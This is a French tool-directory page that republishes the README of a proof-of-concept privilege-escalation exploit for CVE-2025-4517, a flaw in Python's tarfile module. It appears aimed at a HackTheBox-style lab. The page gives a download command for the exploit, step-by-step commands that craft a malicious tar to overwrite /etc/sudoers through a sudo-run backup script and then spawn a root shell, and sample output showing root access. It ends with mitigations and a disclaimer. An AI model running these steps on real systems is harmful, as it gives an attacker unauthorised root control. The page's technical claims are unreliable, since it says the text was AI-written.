Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-4517-POC — Script d'élévation de privilèges pour CVE-2025-4517 | Kitploit
Outils/GitHubGitHub/azureadtrent/cve-2025-4517-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationCTFApprentissage et ÉducationExploitation de Binaires
GitHubazureadtrent/cve-2025-4517-poc

CVE-2025-4517-POC

Script d'élévation de privilèges pour CVE-2025-4517

Voir le dépôt
92il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-4517 Exploit

NOTES

Cet exploit et la description sont rédigés par IA. Si vous trouvez une erreur ou un problème, merci de me le faire savoir ! Cet exploit a été testé et confirmé fonctionnel. Merci !

Aperçu

Cet exploit exploite CVE-2025-4517, une vulnérabilité critique dans le module tarfile de Python qui permet l'écriture arbitraire de fichiers par une combinaison de traversée de chemin par lien symbolique et de manipulation de liens physiques. Cela contourne la protection filter="data" introduite dans Python 3.12.

Détails de la vulnérabilité

  • ID CVE : CVE-2025-4517
  • Versions affectées : Python 3.8.0 à 3.13.1
  • Score CVSS : 9.3 (Critique)
  • Impact : Écriture arbitraire de fichiers avec privilèges élevés

Contexte technique

La vulnérabilité exploite une faille dans la manière dont tarfile.extractall() de Python gère l'interaction entre :

  1. Liens symboliques - Utilisés pour créer une traversée de chemin en dehors du répertoire d'extraction
  2. Liens physiques - Utilisés pour référencer des fichiers via le chemin symbolique échappé
  3. Contournement du filtre - Le paramètre filter="data" bloque les échappements directs par lien symbolique, mais la technique de lien physique contourne cette protection

Flux d'attaque

root@kitploit:~
1. Create deep nested directories (path confusion)
   └─ Uses 247-character directory names repeated 16 levels deep

2. Build symlink chain for traversal
   └─ Creates symlinks that resolve upward through directory tree

3. Escape symlink to target directory (/etc)
   └─ Final symlink points outside extraction boundary

4. Create hardlink pointing through escape symlink
   └─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"

5. Write content to hardlink
   └─ Writing to "sudoers_link" actually writes to /etc/sudoers

Composant vulnérable

Script : /opt/backup_clients/restore_backup_clients.py

root@kitploit:~
# Vulnerable code snippet
with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")

Permissions Sudo :

root@kitploit:~
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Détails du système

  • Version Python : 3.12.3 (Vulnérable à CVE-2025-4517)

Utilisation

Prérequis

  • Accès utilisateur avec permissions sudo pour le script vulnérable
  • Accès en écriture à /opt/backup_clients/backups/
  • Python 3 sur la machine attaquante

Installation

root@kitploit:~
# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system

Exécution de base

root@kitploit:~
# Run the exploit
./exploit.py

# Or with Python
python3 exploit.py

Étapes manuelles pas à pas

Si vous préférez exécuter chaque étape manuellement :

root@kitploit:~
# 1. Create the exploit tar
python3 exploit.py --create-only

# 2. Deploy to target
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar

# 3. Execute via vulnerable script
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_9999.tar \
  -r restore_exploit

# 4. Verify sudoers modification
sudo cat /etc/sudoers | grep "$(whoami)"

# 5. Get root
sudo /bin/bash

Exemple de sortie

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝

[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash

root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Flux de preuve de concept

Étape 1 : Accès initial

  • Accès à l'utilisateur

Étape 2 : Élévation de privilèges (Cet exploit)

  • Identifier les permissions sudo sur le script de restauration de sauvegarde
  • Reconnaître la version Python vulnérable à CVE-2025-4517
  • Déployer l'exploit tar pour modifier /etc/sudoers
  • Obtenir un accès root

Atténuation

Pour les développeurs Python

  1. Mettre à jour Python : Mettez à jour vers Python 3.13.2+ ou appliquez les correctifs de sécurité
root@kitploit:~
   python3 --version  # Check version
  1. Validation supplémentaire : Implémentez une validation stricte du contenu du tar
root@kitploit:~
   # Check for suspicious members before extraction
   for member in tar.getmembers():
       if member.islnk() or member.issym():
           raise SecurityError("Symlinks/hardlinks not allowed")
  1. Restreindre les chemins d'extraction : Vérifiez que tous les fichiers extraits restent dans les limites
root@kitploit:~
   import os
   for member in tar.getmembers():
       member_path = os.path.join(extract_path, member.name)
       if not member_path.startswith(os.path.abspath(extract_path)):
           raise SecurityError("Path traversal detected")

Pour les administrateurs système

  1. Limiter l'accès sudo : Minimisez les scripts pouvant être exécutés en tant que root
root@kitploit:~
   # Remove or restrict backup script sudo access
   visudo
  1. Validation des entrées : Validez les archives tar avant traitement
root@kitploit:~
   # Check tar contents before extraction
   tar -tzf archive.tar | grep -E '\.\./|^/'
  1. Surveillance de l'intégrité des fichiers : Surveillez les fichiers critiques comme /etc/sudoers
root@kitploit:~
   # Setup AIDE or similar IDS
   aide --check
  1. AppArmor/SELinux : Mettez en place des contrôles d'accès obligatoires

Références

Informations CVE

  • CVE-2025-4517 - NVD
  • CVE-2025-4138 - Vulnérabilité associée
  • Avis de sécurité Python

Recherches et rapports

  • Avis de sécurité Linux
  • Recherche de sécurité Google - GHSA-hgqp-3mmf-7h8f

PoCs publics

  • DesertDemons CVE-2025-4138-4517-POC
  • StealthByte CVE-2025-4517-poc
  • AnimePrincess420 PoC

Avertissement légal

Cet exploit est fourni à des fins éducatives uniquement et est destiné à être utilisé dans :

  • Des tests de pénétration autorisés
  • Des compétitions Capture The Flag (CTF) comme HackTheBox
  • La recherche en sécurité dans des environnements contrôlés
  • La divulgation de vulnérabilités et le développement de correctifs

Le(s) auteur(s) décline(nt) toute responsabilité en cas d'utilisation abusive de ce code.

Recherche originale : Plusieurs chercheurs en sécurité (voir Références)

Licence

Licence MIT - Voir le fichier LICENSE pour plus de détails


Dernière mise à jour : Mars 2026

Télécharger l’outil